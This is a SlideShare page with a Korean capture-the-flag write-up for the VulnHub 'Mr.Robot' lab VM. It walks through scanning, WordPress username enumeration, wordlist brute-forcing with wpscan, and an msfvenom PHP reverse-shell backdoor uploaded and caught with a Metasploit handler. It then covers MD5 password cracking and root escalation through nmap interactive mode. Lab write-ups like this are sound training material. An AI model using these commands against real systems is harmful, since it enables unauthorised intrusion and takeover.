SlideShare une entreprise Scribd logo
1  sur  36
Télécharger pour lire hors ligne
Mr.Robot CTF Write-Up
- Find three keys -
by Alchemic
(KoreaTech 이세한)
2
Mr.Robot CTF Write-Up
https://www.vulnhub.com/entry/mr-robot-1,151/
이 문제는 모의해킹 CTF 문제 중 하나입니다.
위 URL로 접속을 하면 VM이미지를 다운로드 받을 수 있습니다.
(filetype : ova)
3
Mr.Robot CTF Write-Up
문제 설명에는 미국드라마인 [Mr.Robot] 을 배경으로 만든 문제라고 나와있습니다.
목표는 이 VM이미지를 실행시켜서 무엇인지 분석하고 세 개의 숨겨진 키를
찾는 것입니다.
다른 힌트는 주어지지 않습니다.
4
Mr.Robot CTF Write-Up
Vmware를 이용하여 실행시키면 Ubuntu 기반의 리눅스가 실행되며,
다음과 같은 로그인 화면이 나타나게 됩니다.
처음실행시키면 아이디와 비밀번호를 모르기 때문에 리눅스 로그인을
할 수 없습니다.
5
Mr.Robot CTF Write-Up
모의해킹을 진행하기에 앞서 Attacker와 victim의 환경을 살펴보면 다음과 같습니다.
Attacker : Kali Linux 2.0 (공격자 시스템)
Victim : Ubuntu Linux 14.04.2 LTS (피해자 시스템)
본 Write-Up에서는 Kali Linux에 있는 툴들을 이용하여 진행하였습니다.
사용 툴(Using Tools)
• Zenmap (Nmap GUI Version)
• Nikto
• WPscan
• Metasploit
6
Mr.Robot CTF Write-Up
본 write-up에서는 공격자의 시스템과 피해자의 시스템이 같은 네트워크 망을 사용하고
있다고 가정을 하고 진행을 하였습니다.
(본 write-up에서 사용한 네트워크 대역 : 192.168.238.***)
공격자와 피해자의 시스템이 같은 네트워크 망을 사용 중이므로 IP 주소 또한 같은
대역일 것입니다.
먼저, [ifconfig] 명령어를 이용하여 공격자의 IP 주소를 알아내고, 해당하는 IP 주소 대역
에 대하여 네트워크 호스트 스캐닝을 진행하면 피해자 시스템의 IP 주소를 알아낼 수 있을
것입니다.
차례대로 진행을 하면 다음과 같이 피해자 시스템의 IP 주소를 획득 및 스캐닝을 통해 어떤
서비스를 제공하고 있는지를 알 수 있습니다.
네트워크 호스트 스캐닝은 nmap을 이용하여 진행하면 됩니다.
#nmap –A [찾아낸 IP 주소 대역 입력] (ex. #nmap –A 192.168.121.*)
혹은 Zenmap을 이용하여 nmap 명령을 보다 간편하게 이용할 수 있습니다.
7
Mr.Robot CTF Write-Up
본 write-up에서는 Zenmap 툴을 이용하여 네트워크 호스트 스캐닝을 진행하였습니다.
8
Mr.Robot CTF Write-Up
이로써 피해자 호스트의 IP 주소가 [192.168.238.135] 라는 것을 알 수 있습니다.
또한 80번 포트와 443번 포트가 열려있으므로, HTTP/HTTPS 서비스가 실행 중이라는
것을 알 수 있고, 이를 통해 웹 서버가 동작 중이라는 것을 유추할 수 있습니다.
웹 브라우저를 이용하여 접속을 해봅니다.
9
Mr.Robot CTF Write-Up
홈페이지에 어떠한 정보들이 있고 어떠한 취약점이 있는지를 확인하기 위해 [nikto] 툴을
이용하여 조사합니다.
#nikto –h 192.168.238.135
10
Mr.Robot CTF Write-Up
먼저, robots.txt 파일을 확인해보도록 하겠습니다.
보통 robots.txt 파일에는 검색에서 제외시킬 항목들을 적어둡니다.
이를 확인하면 키를 찾는 것에 대한 단서를 찾을 수 있을 것입니다.
[fsocity.dic] 이라는 사전파일(Dictionary File)과 [key-1-of-3.txt] 파일을 발견할 수 있고,
[key-1-of-3.txt] 파일을 통해 첫 번째 키를 발견할 수 있습니다.
11
Mr.Robot CTF Write-Up
The First Key is...
073403c8a58a1f80d943455fb30724b9
12
Mr.Robot CTF Write-Up
다음으로 [fsocity.dic] 파일을 확인해보겠습니다.
전형적인 사전파일(Dictionary File)로 나타나는 것을 확인할 수 있습니다.
13
Mr.Robot CTF Write-Up
이 사전 파일은 후에 어딘가에 사용할 수도 있으므로, 미리 다운로드 받습니다.
#wget http://192.168.238.135/fsocity.dic
14
Mr.Robot CTF Write-Up
[robots.txt] 파일은 조사했으니, 이제 관리자 로그인 페이지를 조사해보도록 합니다.
관리자 페이지로 접속을 합니다.
15
Mr.Robot CTF Write-Up
[fsocity.dic] 파일에 있는 임의의 단어들을 아이디로 입력을 하고 임의의 패스워드(1234)를
입력을 해보았더니, 다음과 같은 결과가 나타났습니다.
아이디가 틀렸으면 알맞은 아이디가 아니라고 에러 메시지 내용이 출력되며, 아이디가
맞으면 아이디와 패스워드가 일치하지 않는다고 내용이 출력이 되는 것을 확인할 수
있습니다.
16
Mr.Robot CTF Write-Up
존재하는 아이디 ‘Elliot’을 찾았으므로, [fsocity.dic] 파일 내에서 ‘Elliot’이라는 아이디에
맞는 패스워드를 찾기 위해 [wpscan] 툴을 이용합니다.
#wpscan --url http://192.168.238.135 --wordlist [fsocity.dic path] --username Elliot
17
Mr.Robot CTF Write-Up
ID : Elliot & PW : ER28-0652
아이디와 비밀번호를 찾아냈으니 관리자 페이지에 로그인을 합니다.
18
Mr.Robot CTF Write-Up
관리자 페이지에 접속했습니다!
이제 무엇이든 시도해볼 수 있을 것입니다.
어떤 유저가 가입이 되어있는지도 볼 수 있습니다.
19
Mr.Robot CTF Write-Up
관리자 페이지에 로그인을 했으니 이제 백도어 쉘을 업로드하기 위해서 워드프레스에서
제공하는 플러그인 중 [WP File Manager]를 설치합니다.
이를 통해 간단하게 파일을 업로드 할 수 있게 됩니다.
20
Mr.Robot CTF Write-Up
백도어 쉘을 만들기 위해 [msfvenom]을 사용합니다.
#msfvenom –p php/meterpreter_reverse_tcp lhost=(Attacker IP Address) lport=4444
-f raw > shell.php
이렇게 명령어를 입력해서 [shell.php] 라는 백도어 쉘 파일을 생성합니다.
(파일명은 다르게 변경할 수 있습니다.)
21
Mr.Robot CTF Write-Up
생성한 [shell.php] 파일을 관리자 페이지를 통해서 서버로 업로드를 합니다.
22
Mr.Robot CTF Write-Up
업로드한 파일의 경로를 확인하고 공격자 시스템에서
백도어로 접속하기 위해 [msfconsole]을 실행합니다.
(metasploit 툴)
23
Mr.Robot CTF Write-Up
[msf] 로 공격하기 위해 아래 명령어들을 입력하여 공격 설정을 진행합니다.
> use exploit/multi/handler
> set payload php/meterpreter_reverse_tcp
> set lport 4444
> set lhost 192.168.238.134
> exploit –j -z
이전에 업로드한 [shell.php]로 접근을 하면 공격자 시스템에서는 간단하게 미터프리터 쉘
(Meterpreter Shell)을 획득할 수 있게 됩니다.
또한 쉘을 통해 리눅스 명령어(Linux Command)를 입력할 수 있게 됩니다.
간단하게 [sysinfo]와 [ls] 명령어를 입력하여 정보들을 확인해봅니다.
제대로 침투에 성공한 것을 확인할 수 있습니다.
24
Mr.Robot CTF Write-Up
25
Mr.Robot CTF Write-Up
홈 경로(Home path)로 이동을 해서 어떤 유저 폴더가 있는지를 확인합니다.
유저 중에 ‘robot’ 이라는 유저를 찾았습니다.
‘robot’ 폴더로 들어가서 어떤 파일들이 있는지를 확인해보겠습니다.
두 번째 key 파일과 패스워드 파일을 찾았습니다!
26
Mr.Robot CTF Write-Up
그러나 미터프리터 쉘(Meterpreter Shell)에서는 key 파일을 바로 열 수 없다고 나타납니다.
어떤 문제인지는 잘 모르겠지만 예상으로는 퍼미션(Permission) 문제인 것 같습니다.
우선 패스워드 파일을 먼저 살펴봅니다.
패스워드 파일에서 ‘robot’이라는 유저의 패스워드가 md5 hash로 표현되어 있습니다.
c3fcd3d76192e4007dfb496cca67e13b
이 md5 hash 가 무엇인지 알아보도록 하겠습니다.
27
Mr.Robot CTF Write-Up
구글 검색(Google Search)을 이용하면 쉽게 md5 hash crack 페이지를 찾을 수 있습니다.
이 페이지들 중 한 곳에서 hash cracking을 해보면 plain text를 얻을 수 있습니다.
Md5 hash : c3fcd3d76192e4007dfb496cca67e13b
Plain text : abcdefghijklmnopqrstuvwxyz
이렇게 패스워드를 찾을 수 있습니다.
패스워드까지 알아냈으므로 이제 본격적으로 리눅스에 로그인을 합니다.
28
Mr.Robot CTF Write-Up
‘robot’ 유저로 로그인을 성공하였습니다!
이제 key 파일을 찾아서 내용을 확인해보도록 합니다.
29
Mr.Robot CTF Write-Up
두 번째 Key 파일을 찾았습니다!
We found it!
30
Mr.Robot CTF Write-Up
The Second Key is...
822c73956184f694993bede3eb39f959
이제 마지막! 세 번째 키를 찾으러 여정을 떠나야합니다.
현재는 ‘robot’ 이라는 유저로 로그인을 한 상태이므로 이를 ‘root’로 바꿔서 들어가보도록
하겠습니다.
일단 ‘root’ 계정 폴더로 들어가보도록 하겠습니다.
‘퍼미션 거부(Permission denied)’ 메시지가 출력됩니다.
어찌 보면 당연한 결과입니다.
이제 ‘root’ 권한(root permission) 획득(Get)이 남았는데… 어떻게 진행을 해야 할까요?
31
Mr.Robot CTF Write-Up
32
Mr.Robot CTF Write-Up
[nmap]의 ‘interactive’ mode 를 이용하면 됩니다.
(reference : https://www.exploit-db.com/papers/18168/)
‘interactive’ 모드에는 쉘을 실행시켜서 ‘root’ 권한으로 갈 수 있는 권한 상승 취약점
(Privilege Escalation Vulnerability)이 존재합니다.
따라서 ‘interactive’ 모드를 활성화시키고 여기서 쉘을 실행시키면 바로 ‘root’ 권한으로
넘어갈 수 있다는 것입니다.
이를 이용하여 시도를 해보도록 하겠습니다.
33
Mr.Robot CTF Write-Up
쉘을 실행시켰습니다.
‘whoami’ 명령어를 이용하여 현재 어떤 유저로 로그인 되어있는지 확인해보겠습니다.
34
Mr.Robot CTF Write-Up
성공적으로 ‘root’ 권한으로의 권한 상승이 이루어졌습니다!
(root privilege escalation success!)
그리고 ‘/root’ 디렉토리(Directory)에서 세 번째 키를 발견할 수 있습니다!
35
Mr.Robot CTF Write-Up
The Third Key is...
04787ddef27c3dee1ee161b21670b4e4
Thank You!
Contact
sehands@koreatech.ac.kr

Contenu connexe

Tendances

GoogleCTF 2016 [In Recorded Conversation] Write-Up (ver.korean)
GoogleCTF 2016 [In Recorded Conversation] Write-Up (ver.korean)GoogleCTF 2016 [In Recorded Conversation] Write-Up (ver.korean)
GoogleCTF 2016 [In Recorded Conversation] Write-Up (ver.korean)Sehan Lee
 
200523 서울여대 BI 코딩실무 강의 자료
200523 서울여대 BI 코딩실무 강의 자료200523 서울여대 BI 코딩실무 강의 자료
200523 서울여대 BI 코딩실무 강의 자료Joohyun Han
 
20180320 python3 async_io
20180320 python3 async_io20180320 python3 async_io
20180320 python3 async_ioJae Hong Park
 
200725 AWS 클라우드 컴퓨팅으로 배우는 생물정보학 - 덕성여대 강연
200725 AWS 클라우드 컴퓨팅으로 배우는 생물정보학 - 덕성여대 강연200725 AWS 클라우드 컴퓨팅으로 배우는 생물정보학 - 덕성여대 강연
200725 AWS 클라우드 컴퓨팅으로 배우는 생물정보학 - 덕성여대 강연Joohyun Han
 
robot.txt와 meta tag를 이용한 크롤링 설정
robot.txt와 meta tag를 이용한 크롤링 설정robot.txt와 meta tag를 이용한 크롤링 설정
robot.txt와 meta tag를 이용한 크롤링 설정Yoonsung Jung
 
망고100 보드로 놀아보자 3
망고100 보드로 놀아보자 3망고100 보드로 놀아보자 3
망고100 보드로 놀아보자 3종인 전
 
141103 최창원 파이썬 확장 프로그래밍
141103 최창원 파이썬 확장 프로그래밍141103 최창원 파이썬 확장 프로그래밍
141103 최창원 파이썬 확장 프로그래밍Changwon Choe
 
루팅(Rooting)에 관해
루팅(Rooting)에 관해루팅(Rooting)에 관해
루팅(Rooting)에 관해Youngbin Han
 
Hackerschool FTZ 문제 풀이
Hackerschool FTZ 문제 풀이Hackerschool FTZ 문제 풀이
Hackerschool FTZ 문제 풀이re4lfl0w
 
UNIX 시스템 2014-2018년 기말시험 기출문제
UNIX 시스템 2014-2018년 기말시험 기출문제UNIX 시스템 2014-2018년 기말시험 기출문제
UNIX 시스템 2014-2018년 기말시험 기출문제Lee Sang-Ho
 
Buffer Overflow PPT (OneTwo)
Buffer Overflow PPT (OneTwo)Buffer Overflow PPT (OneTwo)
Buffer Overflow PPT (OneTwo)one_two_12
 
Filemerge성능분석
Filemerge성능분석Filemerge성능분석
Filemerge성능분석선 유
 
bof기초+rtl+fake_ebp
bof기초+rtl+fake_ebpbof기초+rtl+fake_ebp
bof기초+rtl+fake_ebpone_two_12
 
comparing Shell dectector and NeoPI
comparing Shell dectector and NeoPIcomparing Shell dectector and NeoPI
comparing Shell dectector and NeoPIIlsun Choi
 

Tendances (20)

GoogleCTF 2016 [In Recorded Conversation] Write-Up (ver.korean)
GoogleCTF 2016 [In Recorded Conversation] Write-Up (ver.korean)GoogleCTF 2016 [In Recorded Conversation] Write-Up (ver.korean)
GoogleCTF 2016 [In Recorded Conversation] Write-Up (ver.korean)
 
200523 서울여대 BI 코딩실무 강의 자료
200523 서울여대 BI 코딩실무 강의 자료200523 서울여대 BI 코딩실무 강의 자료
200523 서울여대 BI 코딩실무 강의 자료
 
Exp manager
Exp managerExp manager
Exp manager
 
20180320 python3 async_io
20180320 python3 async_io20180320 python3 async_io
20180320 python3 async_io
 
200725 AWS 클라우드 컴퓨팅으로 배우는 생물정보학 - 덕성여대 강연
200725 AWS 클라우드 컴퓨팅으로 배우는 생물정보학 - 덕성여대 강연200725 AWS 클라우드 컴퓨팅으로 배우는 생물정보학 - 덕성여대 강연
200725 AWS 클라우드 컴퓨팅으로 배우는 생물정보학 - 덕성여대 강연
 
Ddd
DddDdd
Ddd
 
Linux+정리
Linux+정리Linux+정리
Linux+정리
 
robot.txt와 meta tag를 이용한 크롤링 설정
robot.txt와 meta tag를 이용한 크롤링 설정robot.txt와 meta tag를 이용한 크롤링 설정
robot.txt와 meta tag를 이용한 크롤링 설정
 
망고100 보드로 놀아보자 3
망고100 보드로 놀아보자 3망고100 보드로 놀아보자 3
망고100 보드로 놀아보자 3
 
141103 최창원 파이썬 확장 프로그래밍
141103 최창원 파이썬 확장 프로그래밍141103 최창원 파이썬 확장 프로그래밍
141103 최창원 파이썬 확장 프로그래밍
 
루팅(Rooting)에 관해
루팅(Rooting)에 관해루팅(Rooting)에 관해
루팅(Rooting)에 관해
 
Vim 강의
Vim 강의Vim 강의
Vim 강의
 
Hackerschool FTZ 문제 풀이
Hackerschool FTZ 문제 풀이Hackerschool FTZ 문제 풀이
Hackerschool FTZ 문제 풀이
 
UNIX 시스템 2014-2018년 기말시험 기출문제
UNIX 시스템 2014-2018년 기말시험 기출문제UNIX 시스템 2014-2018년 기말시험 기출문제
UNIX 시스템 2014-2018년 기말시험 기출문제
 
Buffer Overflow PPT (OneTwo)
Buffer Overflow PPT (OneTwo)Buffer Overflow PPT (OneTwo)
Buffer Overflow PPT (OneTwo)
 
Nodejs4
Nodejs4Nodejs4
Nodejs4
 
Filemerge성능분석
Filemerge성능분석Filemerge성능분석
Filemerge성능분석
 
Merge revesed
Merge revesedMerge revesed
Merge revesed
 
bof기초+rtl+fake_ebp
bof기초+rtl+fake_ebpbof기초+rtl+fake_ebp
bof기초+rtl+fake_ebp
 
comparing Shell dectector and NeoPI
comparing Shell dectector and NeoPIcomparing Shell dectector and NeoPI
comparing Shell dectector and NeoPI
 

Similaire à Mr.Robot CTF Write-Up (Korean version)

[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전James (SeokHun) Hwang
 
Fiddler 피들러에 대해 알아보자
Fiddler 피들러에 대해 알아보자Fiddler 피들러에 대해 알아보자
Fiddler 피들러에 대해 알아보자용진 조
 
(130216) #fitalk reverse connection tool analysis
(130216) #fitalk   reverse connection tool analysis(130216) #fitalk   reverse connection tool analysis
(130216) #fitalk reverse connection tool analysisINSIGHT FORENSIC
 
2016 hack festival igrus
2016 hack festival igrus2016 hack festival igrus
2016 hack festival igrusJinookawk
 
빌드관리 및 디버깅 (2010년 자료)
빌드관리 및 디버깅 (2010년 자료)빌드관리 및 디버깅 (2010년 자료)
빌드관리 및 디버깅 (2010년 자료)YEONG-CHEON YOU
 
Service Worker 101 (한국어)
Service Worker 101 (한국어)Service Worker 101 (한국어)
Service Worker 101 (한국어)Chang W. Doh
 
사설 서버를 막는 방법들 (프리섭, 더이상은 Naver)
사설 서버를 막는 방법들 (프리섭, 더이상은 Naver)사설 서버를 막는 방법들 (프리섭, 더이상은 Naver)
사설 서버를 막는 방법들 (프리섭, 더이상은 Naver)Seungmo Koo
 
NDC15 - 사례로 살펴보는 MSVC 빌드 최적화 팁
NDC15 - 사례로 살펴보는 MSVC 빌드 최적화 팁NDC15 - 사례로 살펴보는 MSVC 빌드 최적화 팁
NDC15 - 사례로 살펴보는 MSVC 빌드 최적화 팁Yi-kwon Hwang
 
[ETHCon Korea 2019] Kang Hyungseok 강형석
[ETHCon Korea 2019] Kang Hyungseok 강형석[ETHCon Korea 2019] Kang Hyungseok 강형석
[ETHCon Korea 2019] Kang Hyungseok 강형석ethconkr
 
김성훈 - 뛰어난 디버거가 되는 방법
김성훈 - 뛰어난 디버거가 되는 방법김성훈 - 뛰어난 디버거가 되는 방법
김성훈 - 뛰어난 디버거가 되는 방법성훈 김
 
Hyperledger Fabric practice (v2.0)
Hyperledger Fabric practice (v2.0) Hyperledger Fabric practice (v2.0)
Hyperledger Fabric practice (v2.0) wonyong hwang
 
Transmission & Telegram
Transmission & TelegramTransmission & Telegram
Transmission & TelegramGenie Chae
 
테라로 살펴본 MMORPG의 논타겟팅 시스템
테라로 살펴본 MMORPG의 논타겟팅 시스템테라로 살펴본 MMORPG의 논타겟팅 시스템
테라로 살펴본 MMORPG의 논타겟팅 시스템QooJuice
 
Giip doc1411-01-notification servicemanual
Giip doc1411-01-notification servicemanualGiip doc1411-01-notification servicemanual
Giip doc1411-01-notification servicemanualLowy Shin
 
반복적인 코드 작업 자동화, Codebone으로 손쉽게
반복적인 코드 작업 자동화, Codebone으로 손쉽게반복적인 코드 작업 자동화, Codebone으로 손쉽게
반복적인 코드 작업 자동화, Codebone으로 손쉽게Sungju Jin
 
라즈베리파이로 슬랙 봇 개발하기
라즈베리파이로 슬랙 봇 개발하기라즈베리파이로 슬랙 봇 개발하기
라즈베리파이로 슬랙 봇 개발하기YunSeop Song
 
(망고210& Gingerbread) u-boot 컴파일 및 다운로드
(망고210& Gingerbread) u-boot 컴파일 및 다운로드(망고210& Gingerbread) u-boot 컴파일 및 다운로드
(망고210& Gingerbread) u-boot 컴파일 및 다운로드종인 전
 
오픈스택: 구석구석 파헤쳐보기
오픈스택: 구석구석 파헤쳐보기오픈스택: 구석구석 파헤쳐보기
오픈스택: 구석구석 파헤쳐보기Jaehwa Park
 
웹 서버 실행 환경
웹 서버 실행 환경웹 서버 실행 환경
웹 서버 실행 환경성균 전
 
가상화된 코드를 분석해보자
가상화된 코드를 분석해보자가상화된 코드를 분석해보자
가상화된 코드를 분석해보자dkswognsdi
 

Similaire à Mr.Robot CTF Write-Up (Korean version) (20)

[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
 
Fiddler 피들러에 대해 알아보자
Fiddler 피들러에 대해 알아보자Fiddler 피들러에 대해 알아보자
Fiddler 피들러에 대해 알아보자
 
(130216) #fitalk reverse connection tool analysis
(130216) #fitalk   reverse connection tool analysis(130216) #fitalk   reverse connection tool analysis
(130216) #fitalk reverse connection tool analysis
 
2016 hack festival igrus
2016 hack festival igrus2016 hack festival igrus
2016 hack festival igrus
 
빌드관리 및 디버깅 (2010년 자료)
빌드관리 및 디버깅 (2010년 자료)빌드관리 및 디버깅 (2010년 자료)
빌드관리 및 디버깅 (2010년 자료)
 
Service Worker 101 (한국어)
Service Worker 101 (한국어)Service Worker 101 (한국어)
Service Worker 101 (한국어)
 
사설 서버를 막는 방법들 (프리섭, 더이상은 Naver)
사설 서버를 막는 방법들 (프리섭, 더이상은 Naver)사설 서버를 막는 방법들 (프리섭, 더이상은 Naver)
사설 서버를 막는 방법들 (프리섭, 더이상은 Naver)
 
NDC15 - 사례로 살펴보는 MSVC 빌드 최적화 팁
NDC15 - 사례로 살펴보는 MSVC 빌드 최적화 팁NDC15 - 사례로 살펴보는 MSVC 빌드 최적화 팁
NDC15 - 사례로 살펴보는 MSVC 빌드 최적화 팁
 
[ETHCon Korea 2019] Kang Hyungseok 강형석
[ETHCon Korea 2019] Kang Hyungseok 강형석[ETHCon Korea 2019] Kang Hyungseok 강형석
[ETHCon Korea 2019] Kang Hyungseok 강형석
 
김성훈 - 뛰어난 디버거가 되는 방법
김성훈 - 뛰어난 디버거가 되는 방법김성훈 - 뛰어난 디버거가 되는 방법
김성훈 - 뛰어난 디버거가 되는 방법
 
Hyperledger Fabric practice (v2.0)
Hyperledger Fabric practice (v2.0) Hyperledger Fabric practice (v2.0)
Hyperledger Fabric practice (v2.0)
 
Transmission & Telegram
Transmission & TelegramTransmission & Telegram
Transmission & Telegram
 
테라로 살펴본 MMORPG의 논타겟팅 시스템
테라로 살펴본 MMORPG의 논타겟팅 시스템테라로 살펴본 MMORPG의 논타겟팅 시스템
테라로 살펴본 MMORPG의 논타겟팅 시스템
 
Giip doc1411-01-notification servicemanual
Giip doc1411-01-notification servicemanualGiip doc1411-01-notification servicemanual
Giip doc1411-01-notification servicemanual
 
반복적인 코드 작업 자동화, Codebone으로 손쉽게
반복적인 코드 작업 자동화, Codebone으로 손쉽게반복적인 코드 작업 자동화, Codebone으로 손쉽게
반복적인 코드 작업 자동화, Codebone으로 손쉽게
 
라즈베리파이로 슬랙 봇 개발하기
라즈베리파이로 슬랙 봇 개발하기라즈베리파이로 슬랙 봇 개발하기
라즈베리파이로 슬랙 봇 개발하기
 
(망고210& Gingerbread) u-boot 컴파일 및 다운로드
(망고210& Gingerbread) u-boot 컴파일 및 다운로드(망고210& Gingerbread) u-boot 컴파일 및 다운로드
(망고210& Gingerbread) u-boot 컴파일 및 다운로드
 
오픈스택: 구석구석 파헤쳐보기
오픈스택: 구석구석 파헤쳐보기오픈스택: 구석구석 파헤쳐보기
오픈스택: 구석구석 파헤쳐보기
 
웹 서버 실행 환경
웹 서버 실행 환경웹 서버 실행 환경
웹 서버 실행 환경
 
가상화된 코드를 분석해보자
가상화된 코드를 분석해보자가상화된 코드를 분석해보자
가상화된 코드를 분석해보자
 

Plus de Sehan Lee

BSides Delhi CTF 2018 [st4t1c (Reversing 200pts)] WriteUp
BSides Delhi CTF 2018 [st4t1c (Reversing 200pts)] WriteUpBSides Delhi CTF 2018 [st4t1c (Reversing 200pts)] WriteUp
BSides Delhi CTF 2018 [st4t1c (Reversing 200pts)] WriteUpSehan Lee
 
BSides Delhi CTF 2018 [krev (Reversing 200pts)] WriteUp
BSides Delhi CTF 2018 [krev (Reversing 200pts)] WriteUpBSides Delhi CTF 2018 [krev (Reversing 200pts)] WriteUp
BSides Delhi CTF 2018 [krev (Reversing 200pts)] WriteUpSehan Lee
 
BSides Delhi CTF 2018 [avap (Reversing 75pts)] WriteUp
BSides Delhi CTF 2018 [avap (Reversing 75pts)] WriteUpBSides Delhi CTF 2018 [avap (Reversing 75pts)] WriteUp
BSides Delhi CTF 2018 [avap (Reversing 75pts)] WriteUpSehan Lee
 
Plaid CTF 2017 Write-Up [zipper (MISC 50pts)]
Plaid CTF 2017 Write-Up [zipper (MISC 50pts)]Plaid CTF 2017 Write-Up [zipper (MISC 50pts)]
Plaid CTF 2017 Write-Up [zipper (MISC 50pts)]Sehan Lee
 
Basic My SQL Problems(sqlzoo.net - select from world) & Basic SQL Injection(z...
Basic My SQL Problems(sqlzoo.net - select from world) & Basic SQL Injection(z...Basic My SQL Problems(sqlzoo.net - select from world) & Basic SQL Injection(z...
Basic My SQL Problems(sqlzoo.net - select from world) & Basic SQL Injection(z...Sehan Lee
 
GoogleCTF 2016 [Wallowing Wallabies - Part One] Write-Up (ver.korean)
GoogleCTF 2016 [Wallowing Wallabies - Part One] Write-Up (ver.korean)GoogleCTF 2016 [Wallowing Wallabies - Part One] Write-Up (ver.korean)
GoogleCTF 2016 [Wallowing Wallabies - Part One] Write-Up (ver.korean)Sehan Lee
 
Attacking Session Management
Attacking Session ManagementAttacking Session Management
Attacking Session ManagementSehan Lee
 
Web Application Technologies
Web Application TechnologiesWeb Application Technologies
Web Application TechnologiesSehan Lee
 
Packet Tracer를 이용한 OSPF 설정
Packet Tracer를 이용한 OSPF 설정Packet Tracer를 이용한 OSPF 설정
Packet Tracer를 이용한 OSPF 설정Sehan Lee
 
레이스 컨디션 기초(Basic Race Condition)
레이스 컨디션 기초(Basic Race Condition)레이스 컨디션 기초(Basic Race Condition)
레이스 컨디션 기초(Basic Race Condition)Sehan Lee
 
Packet tracer 설치 및 사용법
Packet tracer 설치 및 사용법Packet tracer 설치 및 사용법
Packet tracer 설치 및 사용법Sehan Lee
 

Plus de Sehan Lee (11)

BSides Delhi CTF 2018 [st4t1c (Reversing 200pts)] WriteUp
BSides Delhi CTF 2018 [st4t1c (Reversing 200pts)] WriteUpBSides Delhi CTF 2018 [st4t1c (Reversing 200pts)] WriteUp
BSides Delhi CTF 2018 [st4t1c (Reversing 200pts)] WriteUp
 
BSides Delhi CTF 2018 [krev (Reversing 200pts)] WriteUp
BSides Delhi CTF 2018 [krev (Reversing 200pts)] WriteUpBSides Delhi CTF 2018 [krev (Reversing 200pts)] WriteUp
BSides Delhi CTF 2018 [krev (Reversing 200pts)] WriteUp
 
BSides Delhi CTF 2018 [avap (Reversing 75pts)] WriteUp
BSides Delhi CTF 2018 [avap (Reversing 75pts)] WriteUpBSides Delhi CTF 2018 [avap (Reversing 75pts)] WriteUp
BSides Delhi CTF 2018 [avap (Reversing 75pts)] WriteUp
 
Plaid CTF 2017 Write-Up [zipper (MISC 50pts)]
Plaid CTF 2017 Write-Up [zipper (MISC 50pts)]Plaid CTF 2017 Write-Up [zipper (MISC 50pts)]
Plaid CTF 2017 Write-Up [zipper (MISC 50pts)]
 
Basic My SQL Problems(sqlzoo.net - select from world) & Basic SQL Injection(z...
Basic My SQL Problems(sqlzoo.net - select from world) & Basic SQL Injection(z...Basic My SQL Problems(sqlzoo.net - select from world) & Basic SQL Injection(z...
Basic My SQL Problems(sqlzoo.net - select from world) & Basic SQL Injection(z...
 
GoogleCTF 2016 [Wallowing Wallabies - Part One] Write-Up (ver.korean)
GoogleCTF 2016 [Wallowing Wallabies - Part One] Write-Up (ver.korean)GoogleCTF 2016 [Wallowing Wallabies - Part One] Write-Up (ver.korean)
GoogleCTF 2016 [Wallowing Wallabies - Part One] Write-Up (ver.korean)
 
Attacking Session Management
Attacking Session ManagementAttacking Session Management
Attacking Session Management
 
Web Application Technologies
Web Application TechnologiesWeb Application Technologies
Web Application Technologies
 
Packet Tracer를 이용한 OSPF 설정
Packet Tracer를 이용한 OSPF 설정Packet Tracer를 이용한 OSPF 설정
Packet Tracer를 이용한 OSPF 설정
 
레이스 컨디션 기초(Basic Race Condition)
레이스 컨디션 기초(Basic Race Condition)레이스 컨디션 기초(Basic Race Condition)
레이스 컨디션 기초(Basic Race Condition)
 
Packet tracer 설치 및 사용법
Packet tracer 설치 및 사용법Packet tracer 설치 및 사용법
Packet tracer 설치 및 사용법
 

Mr.Robot CTF Write-Up (Korean version)

  • 1. Mr.Robot CTF Write-Up - Find three keys - by Alchemic (KoreaTech 이세한)
  • 2. 2 Mr.Robot CTF Write-Up https://www.vulnhub.com/entry/mr-robot-1,151/ 이 문제는 모의해킹 CTF 문제 중 하나입니다. 위 URL로 접속을 하면 VM이미지를 다운로드 받을 수 있습니다. (filetype : ova)
  • 3. 3 Mr.Robot CTF Write-Up 문제 설명에는 미국드라마인 [Mr.Robot] 을 배경으로 만든 문제라고 나와있습니다. 목표는 이 VM이미지를 실행시켜서 무엇인지 분석하고 세 개의 숨겨진 키를 찾는 것입니다. 다른 힌트는 주어지지 않습니다.
  • 4. 4 Mr.Robot CTF Write-Up Vmware를 이용하여 실행시키면 Ubuntu 기반의 리눅스가 실행되며, 다음과 같은 로그인 화면이 나타나게 됩니다. 처음실행시키면 아이디와 비밀번호를 모르기 때문에 리눅스 로그인을 할 수 없습니다.
  • 5. 5 Mr.Robot CTF Write-Up 모의해킹을 진행하기에 앞서 Attacker와 victim의 환경을 살펴보면 다음과 같습니다. Attacker : Kali Linux 2.0 (공격자 시스템) Victim : Ubuntu Linux 14.04.2 LTS (피해자 시스템) 본 Write-Up에서는 Kali Linux에 있는 툴들을 이용하여 진행하였습니다. 사용 툴(Using Tools) • Zenmap (Nmap GUI Version) • Nikto • WPscan • Metasploit
  • 6. 6 Mr.Robot CTF Write-Up 본 write-up에서는 공격자의 시스템과 피해자의 시스템이 같은 네트워크 망을 사용하고 있다고 가정을 하고 진행을 하였습니다. (본 write-up에서 사용한 네트워크 대역 : 192.168.238.***) 공격자와 피해자의 시스템이 같은 네트워크 망을 사용 중이므로 IP 주소 또한 같은 대역일 것입니다. 먼저, [ifconfig] 명령어를 이용하여 공격자의 IP 주소를 알아내고, 해당하는 IP 주소 대역 에 대하여 네트워크 호스트 스캐닝을 진행하면 피해자 시스템의 IP 주소를 알아낼 수 있을 것입니다. 차례대로 진행을 하면 다음과 같이 피해자 시스템의 IP 주소를 획득 및 스캐닝을 통해 어떤 서비스를 제공하고 있는지를 알 수 있습니다. 네트워크 호스트 스캐닝은 nmap을 이용하여 진행하면 됩니다. #nmap –A [찾아낸 IP 주소 대역 입력] (ex. #nmap –A 192.168.121.*) 혹은 Zenmap을 이용하여 nmap 명령을 보다 간편하게 이용할 수 있습니다.
  • 7. 7 Mr.Robot CTF Write-Up 본 write-up에서는 Zenmap 툴을 이용하여 네트워크 호스트 스캐닝을 진행하였습니다.
